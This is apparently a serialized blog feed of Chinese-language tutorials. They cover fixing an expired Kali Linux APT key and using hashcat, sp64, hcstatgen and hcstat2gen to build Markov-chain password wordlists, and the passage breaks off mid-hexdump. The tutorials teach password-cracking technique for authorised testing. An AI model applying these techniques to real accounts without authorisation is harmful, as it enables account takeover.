Connecting to kali.download (kali.download)|104.17.253.239|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 5008 (4.9K) [application/octet-stream] Saving to: ‘kali-archive-keyring_2024.1_all.deb’ kali-archive-keyring_2024.1_all.deb 100%[============================================================================\u0026gt;] 4.89K --.-KB/s in 0s 安裝 kali-archive-keyring_2024 套件。\n$ sudo apt install ./kali-archive-keyring_2024.1_all.deb [sudo] password for kali: Reading package lists... Done Building dependency tree... Done Reading state information... Done Note, selecting \u0026#39;kali-archive-keyring\u0026#39; instead of \u0026#39;./kali-archive-keyring_2024.1_all.deb\u0026#39; The following packages will be upgraded: kali-archive-keyring 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 0 B/5,008 B of archives. After this operation, 0 B of additional disk space will be used. Get:1 /home/kali/kali-archive-keyring_2024.1_all.deb kali-archive-keyring all 2024.1 [5,008 B] (Reading database ... 338365 files and directories currently installed.) Preparing to unpack .../kali-archive-keyring_2024.1_all.deb ... Unpacking kali-archive-keyring (2024.1) over (2022.1) ... Setting up kali-archive-keyring (2024.1) ... Installed kali-archive-keyring as a trusted APT keyring. 再次執行 apt-key list ，確認該把 key (ED444FF07D8D0BF6) 的簽名效期，已展延至 2027/2/4\n/etc/apt/trusted.gpg.d/kali-archive-keyring.gpg ----------------------------------------------- pub rsa4096 2012-03-05 [SC] [expires: 2027-02-04] 44C6 513A 8E4F B3D3 0875 F758 ED44 4FF0 7D8D 0BF6 uid [ unknown] Kali Linux Repository \u0026lt;devel@kali.org\u0026gt; sub rsa4096 2012-03-05 [E] [expires: 2027-02-04] 參考來源 https://forums.kali.org/archived/showthread.php?38858-apt-get-update-GPG-error-key-expired 結語 Kali Linux 對於資安工作者而言，如同每天吃飯的工具般。更新 GPG key 套件，也可驗證所安裝套件的完整性。如果你喜歡我的文章，請你分享給你的好朋友。\n對 Kali Linux 的中文化改裝有興趣，也可參考 打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法) (Kali Linux 2024 也適用) 這篇。\n","permalink":"https://hack543.com/kali-linux-apt-update-gpg-key-error-and-expired/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003eKali Linux 執行 apt update 遇到如下問題，大意是此把 GPG public key (ED444FF07D8D0BF6) expired (過期)，導致數位簽章驗證有問題，這篇文章教你如何解決此問題。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo apt update\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003esudo\u003cspan class=\"o\"\u003e]\u003c/span\u003e password \u003cspan class=\"k\"\u003efor\u003c/span\u003e kali:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eGet:1 http://free.nchc.org.tw/kali kali-rolling InRelease \u003cspan class=\"o\"\u003e[\u003c/span\u003e41.5 kB\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eErr:1 http://free.nchc.org.tw/kali kali-rolling InRelease\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository \u0026lt;devel@kali.org\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eReading package lists... Done\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eW: GPG error: http://free.nchc.org.tw/kali kali-rolling InRelease: The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6  Kali Linux Repository \u0026lt;devel@kali.org\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eE: The repository \u003cspan class=\"s1\"\u003e\u0026#39;http://http.kali.org/kali kali-rolling InRelease\u0026#39;\u003c/span\u003e is not signed.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eN: Updating from such a repository can\u003cspan class=\"err\"\u003e\u0026#39;\u003c/span\u003et be \u003cspan class=\"k\"\u003edone\u003c/span\u003e securely, and is therefore disabled by default.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eN: See apt-secure\u003cspan class=\"o\"\u003e(\u003c/span\u003e8\u003cspan class=\"o\"\u003e)\u003c/span\u003e manpage \u003cspan class=\"k\"\u003efor\u003c/span\u003e repository creation and user configuration details.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e封面圖片出處： Kali Linux 2021.2 版本預設桌面。\u003c/strong\u003e\u003c/p\u003e","title":"Kali Linux APT update GPG Key error and expired 問題"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值、功能或工具程式，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\nMarkov chain (馬可夫鏈) 是一種隨機過程的統計機率模型，hashcat 應用馬可夫鏈加快破解速度，若對馬可夫鏈還不熟悉的讀者可以參考這篇文章。\n這篇文章介紹如何使用 hashcat ，搭配第二代(最新一代) 馬可夫鏈統計資料模型 hcstat2gen 的儲存格式，產出符合馬可夫鏈模型 (markov chain model) 的字典檔。密碼長度最長支援到 256 的字元，相較 sp64 工具程式只能產出 64 個字元，足足成長了 4 倍。\n接下來，請大家跟我一起探索 hashcat 程式，如何產出馬可夫鏈模型的字典清單吧！\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Ian Livesey on StockSnap\n產出 hcstat2gen 馬可夫鏈統計資料模型檔案 hcstat2gen 在先前我們已有介紹過如何使用，但有些讀者可能還是第一次來這個網站，我再重講一次如何產生模型檔案。\n我們必須先使用 hcstat2gen 工具程式，產出模型檔案。使用方法如下：\n一樣以 hello.txt 為例，內容如下： $ cat hello.txt hello world 使用 hcstat2gen 產生馬可夫鏈的機率模型檔案 (hello.raw2)，指令如下，hello.raw2 檔案與副檔名名稱可自訂。 $ hcstat2bin hello.raw2 \u0026lt; hello.txt 使用 lzma 程式壓縮 hello.raw2 檔案，供 hashcat 的 --markov-hcstat2 參數使用。執行時會出現警告訊息，可忽略。 $ lzma --compress --format=raw --stdout -9e hello.raw2 \u0026gt; hello.hcstat2 lzma: Using a preset in raw mode is discouraged. lzma: The exact options of the presets may vary between software versions. 使用 hashcat 產出馬可夫鏈字典檔 產出 1 個字元的字典檔 $ hashcat -a 3 --markov-hcstat2 hello.hcstat2 --stdout ?l h w a b c d e f g i j k l m n o p q r s t u v x y z 產出 2 個字元的字典檔 $ hashcat -a 3 --markov-hcstat2 hello.hcstat2 --stdout ?l?l he we ae be ce de ee fe ge ie je ke le me ne oe pe qe re se te ue ve xe ye ze ho wo ao bo co do eo fo go io jo ko lo mo no oo po qo ro so to uo vo xo yo zo ... ha wa aa ba vz xz yz zz 產生 3 個字元的字典檔 $ hashcat -a 3 --markov-hcstat2 hello.hcstat2 --stdout ?l?l?l hel wel ael bel cel del eel fel gel iel ... 與 sp64 產出的字典檔之差異 眼尖的讀者可能會發現 sp64 產出的字典檔，跟 hashcat 產出的字元順序不同，sp64 產出 3 個字元的檔案如下：\n$ sp64 --pw-min 3 --pw-max 3 hello.stat ?l?l?l|head -n 10 hel hor haa hba hca hda hfa hga hha hia ... sp64 產出的第 2 個為 hor，而 hashcat 產出的第 2 個為 wel ，順序有很大的差異。\n讓我們來從程式碼裡面細究這其中之差異。在 hashcat 主程式產出密碼相對應的程式碼 stdout.c ，是在 109 行 至 132 行程式碼。\n109 if (user_options-\u0026gt;attack_mode == ATTACK_MODE_BF) /* -a 3 */ 110 { 111 for (u64 gidvid = 0; gidvid \u0026lt; pws_cnt; gidvid++) /* 控制第二、三個字母，影響 l_off 變數, pws_cnt = 676 */ 112 { 113 for (u32 il_pos = 0; il_pos \u0026lt; il_cnt; il_pos++) /* 控制第一個字母，影響 r_off 變數 0 ~ 25 */ 114 { 115 u64 l_off = device_param-\u0026gt;kernel_params_mp_l_buf64[3] + gidvid; 116 u64 r_off = device_param-\u0026gt;kernel_params_mp_r_buf64[3] + il_pos; 117 118 u32 l_start = device_param-\u0026gt;kernel_params_mp_l_buf32[5]; 119 u32 r_start = device_param-\u0026gt;kernel_params_mp_r_buf32[5]; 120 121 u32 l_stop = device_param-\u0026gt;kernel_params_mp_l_buf32[4]; 122 u32 r_stop = device_param-\u0026gt;kernel_params_mp_r_buf32[4]; 123 /* l_start = 1 */ 124 sp_exec (l_off, (char *) plain_ptr + l_start, mask_ctx-\u0026gt;root_css_buf, mask_ctx-\u0026gt;markov_css_buf, l_start, l_start + l_stop); 125 sp_exec (r_off, (char *) plain_ptr + r_start, mask_ctx-\u0026gt;root_css_buf, mask_ctx-\u0026gt;markov_css_buf, r_start, r_start + r_stop); 126 127 plain_len = mask_ctx-\u0026gt;css_cnt; 128 129 out_push (\u0026amp;out, plain_ptr, plain_len); 130 } 131 } 132 } 最關鍵是第 124 與 125 行程式碼。\n124 sp_exec (l_off, (char *) plain_ptr + l_start, mask_ctx-\u0026gt;root_css_buf, mask_ctx-\u0026gt;markov_css_buf, l_start, l_start + l_stop); 125 sp_exec (r_off, (char *) plain_ptr + r_start, mask_ctx-\u0026gt;root_css_buf, mask_ctx-\u0026gt;markov_css_buf, r_start, r_start + r_stop); 透過 GDB 檢視 pw_buf 變數內容，才了解實際上執行時，是先決定第 2 個字母與第 3 個字母後 (stdout.c:124) ，pw_buf 變數裡面填的是 el, or, aa … ，再來迭代補充第 1 個字母 (h, w, a … z)，才會有我們看到的密碼輸出結果。\nGDB 檢視 pw_buf 變數內容。\n124 sp_exec (ctx=0, pw_buf=0x7fffcbffb6c1 \u0026#34;\u0026#34;, root_css_buf=0x555555aa2620, markov_css_buf=0x7fffaffbe010, start=1, stop=3) at src/mpsp.c:1035 =\u0026gt; pw_buf = \u0026#34;0x00el\u0026#34; 125 sp_exec (ctx=0, pw_buf=0x7fffcbffb6c0 \u0026#34;\u0026#34;, root_css_buf=0x555555aa2620, markov_css_buf=0x7fffaffbe010, start=0, stop=1) at src/mpsp.c:1035 =\u0026gt; pw_buf = \u0026#34;hel\u0026#34; 結論 這篇文章教大家如何使用 hcstat2gen 產出自己客製化的馬可夫鏈模型，並使用 hashcat 產出相對應的馬可夫鏈模型的字典檔 (word generator)。希望能幫助到讀者更快破解密碼。\n希望對讀者有幫助，若你喜歡這篇文章，請幫我分享給你的好朋友，並且在底下留言鼓勵我。期待在下篇，再與你見面。\n深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/hashcat-markov-chain-word-generator/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator)"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值、功能或工具程式，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\nMarkov chain (馬可夫鏈) 是一種隨機過程的統計機率模型，hashcat 應用馬可夫鏈加快破解速度，若對馬可夫鏈還不熟悉的讀者可以參考這篇文章。\n前 2 篇文章，我們介紹了如何使用 hcstatgen 與 hcstat2gen 產生 hashcat 第一代與第二代馬可夫鏈統計資料模型的儲存格式。\n這篇文章，要跟大家介紹如何使用 sp64 工具程式，產出馬可夫鏈模型的字典清單(word generator)。sp64 支援第 1 代元老級的馬可夫鏈模型 (hcstat)，最長支援密碼長度到 64 個字元。\n接下來，請大家跟我一起探索 sp64 工具程式，如何產出馬可夫鏈模型的字典清單吧！\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Ian Livesey on StockSnap\nsp64 簡介 sp64 是 hashcat 的 GitHub 專案 statsprocessor 所產出的工具程式。程式原始碼位於：https://github.com/hashcat/statsprocessor/blob/master/src/sp.c\n基於 per-position 的馬可夫鏈 (Markov chain) 密碼產生器 (word generator)，僅支援匯入第一代的馬可夫鏈統計資料模型的儲存格式(hcstatgen)，最長支援密碼長度到 64 個字元。\nkali Linux 使用者，請安裝 statsprocessor 套件，來使用 sp64 。安裝路徑在 /usr/bin/sp64 ，後續程式使用範例，為了縮短篇幅，統一使用 sp64 代替。\n眼尖的讀者會發現 statsprocessor 套件，還有 1 個 sp32 的程式。但在 kali linux 這 2 支程式是完全相同。\nsp64 的使用參數說明 sp64 指令使用方式如下：\n$ sp64 [options]… hcstat-file [filter-mask] hcstat-file 需使用 hcstatgen 程式產生馬可夫鏈統計資料模型檔案，比方說 hello.stat 。想知道如何產生 hello.stat，請參閱此篇文章。\n延伸閱讀：產生 hello.stat 操作文章\noptions (選項) 則支援程式參數，如下：\n--pw-min=NUM：最小產出密碼長度 --pw-max=NUM ：最大產出密碼長度，最長支援至 64 位 --output-file=FILE：輸出檔案名稱 --markov-disable：關閉馬可夫鏈統計模型功能，改為傳統暴力破解列舉 --markov-classic：傳統馬可夫鏈統計模型，不管字母所在位置(no per-position)，把所有字母位置(第1 ~ 第64) 的機率全部加總計算 --threshold=NUM：印出前面\u0026lt;NUM\u0026gt;個字元就結束，不指定參數時，預設是全印，與hashcat --markov-threshold 功能相同 --combinations：印出排列組合的數量 --hex-charset：預設 filter-mask 或 \u0026ndash;custom-charset1、\u0026ndash;custom-charset2、\u0026ndash;custom-charset3、\u0026ndash;custom-charset4預設的輸入字元為 hex (16進位) 格式，例如 --skip=NUM：跳過印出多少字元 --limit=NUM：僅印出多少字元 至於 filter-mask 用法則是與此篇文章相同，在此不贅述。有興趣的讀者可自行參閱文中的 hashcat Mask Mode 一節。\n延伸閱讀：filter-mask 操作與說明\nsp64 的操作範例 第 1 個範例，sp64 使用 3 個參數，第 1 個參數是 --pw-min，第 2 個參數是 --pw-max。第 3 個參數是 hcstatgen 產出的檔案名稱 (hcstat-file)，比方說是 hello.stat。?l?l 是產出密碼的 mask，代表是 2 位數的小寫字母。 就會依照 hello.stat 所紀錄的馬可夫鏈統計模型，從 1 位依序產出至 2 位的小寫字母字典檔。\n$ sp64 --pw-min=1 --pw-max=2 hello.stat ?l?l h w a b c d ... x y z he ho ha hb ... zw zx zy zz 第 2 個範例，加上--threshold 參數 。可以觀察到當 threshold 設定時， sp64 程式就會不管 pw-max 的值了。 $ sp64 --pw-min=1 --pw-max=2 --threshold=2 hello.stat ?l?l h w he ho we wo $ sp64 --pw-min=1 --pw-max=3 --threshold=2 hello.stat ?l?l h w he ho we wo $ sp64 --pw-min=2 --pw-max=2 --threshold=2 hello.stat ?l?l he ho we wo 第 3 個範例，加上 --combinations 參數。計算並印出排列組合的數量。 $ sp64 --combination hello.stat ?l 26 $ sp64 --combination hello.stat ?l?l 702 $ sp64 --combination hello.stat ?l?l?l 18278 $ sp64 --combination hello.stat ?l?l?l?l 475254 第 4 個範例，加上 --skip 參數，印出結果。未加上 --skip 參數之前，會印出 26 個字元。 $ sp64 hello.stat ?l h w a b c d e f g i j k l m n o p q r s t u v x y z 加上 --skip = 1 ，少印出 h 字元，--skip = 2 ，少印出 h 與 w 字元。\n$ sp64 hello.stat --skip=1 ?l w a b c d e f g i j k l m n o p q r s t u v x y z $ sp64 hello.stat --skip=1 ?l w a b c d e f g i j k l m n o p q r s t u v x y z 第 5 個範例，加上 --limit 參數，會僅印出多少字元。 $ sp64 hello.stat --limit=1 ?l h $ sp64 hello.stat --limit=2 ?l h w $ sp64 hello.stat --limit=3 ?l h w a 深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) 結論 這篇文章介紹了 sp64，教大家如何操作 sp64 工具程式，產生第 1 代 hcstat (馬可夫鏈儲存格式) 的字典檔清單 (Word generator)，可以產出快速的字典檔內容。\n希望對讀者有幫助，若你喜歡這篇文章，請幫我分享給你的好朋友、社群媒體，並且在底下留言鼓勵我。期待在下篇，再與你見面。\n","permalink":"https://hack543.com/deep-dive-to-hashcat-sp64/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e\n\u003cp\u003e「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值、功能或工具程式，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\u003c/p\u003e\n\u003cp\u003eMarkov chain (馬可夫鏈) 是一種隨機過程的統計機率模型，hashcat 應用馬可夫鏈加快破解速度，若對馬可夫鏈還不熟悉的讀者可以參考\u003ca href=\"/deep-dive-to-hashcat-per-position-markov-chain-attack/\"\u003e這篇文章\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e前 2 篇文章，我們介紹了如何使用 \u003ca href=\"/deep-dive-to-hashcat-hcstatgen/\"\u003ehcstatgen\u003c/a\u003e 與 \u003ca href=\"/deep-dive-to-hashcat-hcstat2gen/\"\u003ehcstat2gen\u003c/a\u003e 產生 hashcat 第一代與第二代馬可夫鏈統計資料模型的儲存格式。\u003c/p\u003e\n\u003cp\u003e這篇文章，要跟大家介紹如何使用 sp64 工具程式，產出馬可夫鏈模型的字典清單(word generator)。sp64 支援第 1 代元老級的馬可夫鏈模型 (\u003ca href=\"/deep-dive-to-hashcat-hcstatgen/\"\u003ehcstat)\u003c/a\u003e，最長支援密碼長度到 64 個字元。\u003c/p\u003e\n\u003cp\u003e接下來，請大家跟我一起探索 sp64 工具程式，如何產出馬可夫鏈模型的字典清單吧！\u003c/p\u003e","title":"使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator)"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值或功能，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\nMarkov chain (馬可夫鏈) 是一種隨機過程的統計機率模型，hashcat 應用馬可夫鏈加快破解速度，若對馬可夫鏈還不熟悉的讀者可以參考這篇文章。\n在上一篇文章，我們介紹了產生hcstat 格式的元老級程式 - hcstatgen，可惜 hashcat 最新版本已不支援此格式。目前hashcat 第 2 代馬可夫鏈統計資料模型的儲存格式是 hcstat2，與第 1 代 hcstat 儲存格式差異在於：\n支援更長的密碼長度 加註版號資訊 壓縮儲存 hashcat 協助使用者產出 hcstat2 儲存格式的工具程式為 hcstat2gen 。接下來會講解 hcstat2gen 的原理，請你一起來探尋 hcstatgen 工具程式的原理奧秘吧！\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Ian Livesey on StockSnap\nhcstat2gen 工具程式簡介 hcstat2 是 hashcat 第二代的馬可夫鏈統計資料模型的儲存格式，最多支援密碼長度到 256 個字元，亦是目前 hashcat 主程式採用的儲存格式。\n負責產出 hcstat2 格式的工具程式即是 hcstat2gen。\nkali Linux 使用者，請安裝 hashcat-utils 套件，來使用 hcstat2gen 。安裝路徑在 /usr/lib/hashcat-utils/hcstat2gen.bin，後續的程式摘要，為了縮短篇幅，統一使用 hcstat2gen代替。\n$ sudo apt install hashcat-utils 讀者可使用 alias 設定 hcstat2gen，方便執行文章後面提到的指令。\n$ alias hcstat2gen=\u0026#34;/usr/lib/hashcat-utils/hcstat2gen.bin\u0026#34; hcstat2gen 工具程式使用方式 先準備一個文字檔，比方說是 hello.txt，內容如下： $ cat hello.txt hello world 使用 hcstat2gen 產生馬可夫鏈的機率模型檔案 (hello.hcstatraw2)，指令如下： $ hcstat2bin hello.hcstatraw2 \u0026lt; hello.txt hello.hcstatraw2 檔名是自己取的，讀者可以自行更換檔名。\nhello.hcstatraw2 檔案還需要使用 lzma 執行檔壓縮(壓縮檔名：hello.hcstat2)，才能匯入 hashcat 使用，指令如下： $ lzma --compress --format=raw --stdout -9e hello.hcstatraw2 \u0026gt; hello.hcstat2 產出的 hell.hcstat2 檔案就可以做為 hashcat 的 \u0026ndash;markov-hcstat2 參數內容，搭配使用。\n若沒有 lzma 執行檔，可安裝 xz-utils 套件。\n$ apt install xz-utils 與第一代 hcstatgen 產出格式的差異點 與第一代 hcstatgen 產出的格式差異點，主要有 3 點。\n支援更長的密碼長度 加註版號資訊 壓縮儲存 密碼長度(PW_MAX) 從 64 個字元延長至 256 個字元，同時因應密碼長度延長，檔案 size 也會成長，例如 hello.txt 的 hcstat 檔案 size 是 33 MB，hcstat2 檔案 size成長 至 129 MB。\n檔案最前面 8 個 bytes 新增加檔案 magic word (hcstat) 與 版號資訊(0002)，如下：\n00000000: 6863 7374 6174 0002 0000 0000 0000 0000 hcstat.......... 產出的檔案還需要使用 lzma 執行檔壓縮，才能做為 hashcat 的 \u0026ndash;markov-hcstat2 的參數內容。\n由於 hcstat 第 2 版僅是密碼長度加長、加註版號。程式運作邏輯與資料結構與第 1 版相似，我就不再花篇幅贅述其資料結構，有興趣的讀者可翻閱前一篇 「hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章。」\n小結 這篇文章介紹了 hcstat2gen，教大家如何操作 hashcat 的 hcstat2gen 工具程式，產生目前最新的 hcstat 第 2 版的馬可夫鏈儲存格式。\n希望對讀者有幫助，若你喜歡這篇文章，請幫我分享給你的好朋友，並且在底下留言鼓勵我。期待在下篇，再與你見面。\n深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/deep-dive-to-hashcat-hcstat2gen/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"使用 hcstat2gen 產出 hashcat 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值或功能，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\n在上一篇文章中，我們談到 hashcat 進階功能：「 per-position Markov chain attack」，介紹了 hashcat 如何應用馬可夫鏈、什麼是 per-position，以及 hashcat 的馬可夫鏈(Markov chain) 相關參數。Markov chain (馬可夫鏈) 是一種隨機過程的統計機率模型，如果讀者還不熟悉馬可夫鏈，可以點選上一篇文章溫習。\n這篇要延續上篇，繼續來談「hashcat 與 馬可夫鏈 (Markov chain) 相關的工具程式 」。hashcat 為了能夠讓使用者自行產生馬可夫鏈 (Markov chain) 的統計檔案 (stat 檔)，專案亦一併釋出了 hcstatgen、hcstat2bin、sp64 工具程式。\n這篇文章會先來講解 hcstagen 的原理。接下來，請你一起來探尋 hcstatgen 工具程式的原理奧秘吧！\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Ian Livesey on StockSnap\nhcstatgen 工具程式簡介 hcstatgen 是 hashcat 第一代的馬可夫鏈統計資料模型的儲存格式產生程式，最長支援匯入的密碼長度到 64 個字元。但最新的 hashcat 程式 (v6.2.6) 已不支援此格式。hcstatgen 需搭配 statsprocessor 工具程式一起使用。\n雖然 hashcat 已不再支援此格式，但因 hcstagen 程式碼十分簡潔，容易理解。要了解 hashcat 馬可夫鏈 (Markov chain) 實做程式碼，從這支程式原始碼 (hcstatgen.c) 下手會較容易。\nKali Linux 使用者，請安裝 hashcat-utils 套件，來使用 hcstatgen 。安裝路徑在 /usr/lib/hashcat-utils/hcstatgen.bin，後續的程式摘要，為了縮短篇幅，統一使用 hcstatgen代替。\nKali Linux 的安裝方式如下：\n$ sudo apt install hashcat-utils 讀者可使用 alias 設定 hcstatgen，方便執行文章後面提到的指令。\n$ alias hcstatgen=\u0026#34;/usr/lib/hashcat-utils/hcstatgen.bin\u0026#34; hcstatgen 使用方式 先準備一個文字檔，比方說是 hello.txt，內容如下： $ cat hello.txt hello world 使用 hcstatgen 產生馬可夫鏈的機率模型檔案 (hello.stat)，指令如下： $ hcstatgen hello.stat \u0026lt; hello.txt 使用 hexdump 讀取 hello.stat ，可以看到大部分的資料為 0 ，僅有少部份的行數裡面有填值 1、2。為什麼填 0 、1、2 ，我們會在後面篇幅 「hello.stat 的資料結構」中解釋。 $ hexdump hello.stat 0000000 0000 0000 0000 0000 0000 0000 0000 0000 * 0000340 0001 0000 0000 0000 0000 0000 0000 0000 0000350 0000 0000 0000 0000 0000 0000 0000 0000 * 00003b0 0000 0000 0000 0000 0001 0000 0000 0000 00003c0 0000 0000 0000 0000 0000 0000 0000 0000 * 0000b20 0000 0000 0000 0000 0001 0000 0000 0000 0000b30 0000 0000 0000 0000 0000 0000 0000 0000 * 0000b70 0000 0000 0000 0000 0001 0000 0000 0000 0000b80 0000 0000 0000 0000 0000 0000 0000 0000 * 0001360 0001 0000 0000 0000 0000 0000 0000 0000 0001370 0000 0000 0000 0000 0000 0000 0000 0000 * 0001390 0001 0000 0000 0000 0000 0000 0000 0000 00013a0 0000 0000 0000 0000 0000 0000 0000 0000 * 0001b60 0002 0000 0000 0000 0000 0000 0000 0000 0001b70 0000 0000 0000 0000 0000 0000 0000 0000 * 0002320 0001 0000 0000 0000 0000 0000 0000 0000 0002330 0000 0000 0000 0000 0000 0000 0000 0000 * 0002370 0000 0000 0000 0000 0001 0000 0000 0000 0002380 0000 0000 0000 0000 0000 0000 0000 0000 * 0054320 0000 0000 0000 0000 0001 0000 0000 0000 0054330 0000 0000 0000 0000 0000 0000 0000 0000 * 005bb70 0000 0000 0000 0000 0001 0000 0000 0000 005bb80 0000 0000 0000 0000 0000 0000 0000 0000 * 00d2b60 0001 0000 0000 0000 0000 0000 0000 0000 00d2b70 0000 0000 0000 0000 0000 0000 0000 0000 * 00d7b90 0001 0000 0000 0000 0000 0000 0000 0000 00d7ba0 0000 0000 0000 0000 0000 0000 0000 0000 * 0156360 0001 0000 0000 0000 0000 0000 0000 0000 0156370 0000 0000 0000 0000 0000 0000 0000 0000 * 0159360 0001 0000 0000 0000 0000 0000 0000 0000 0159370 0000 0000 0000 0000 0000 0000 0000 0000 * 01d6320 0001 0000 0000 0000 0000 0000 0000 0000 01d6330 0000 0000 0000 0000 0000 0000 0000 0000 * 01d6370 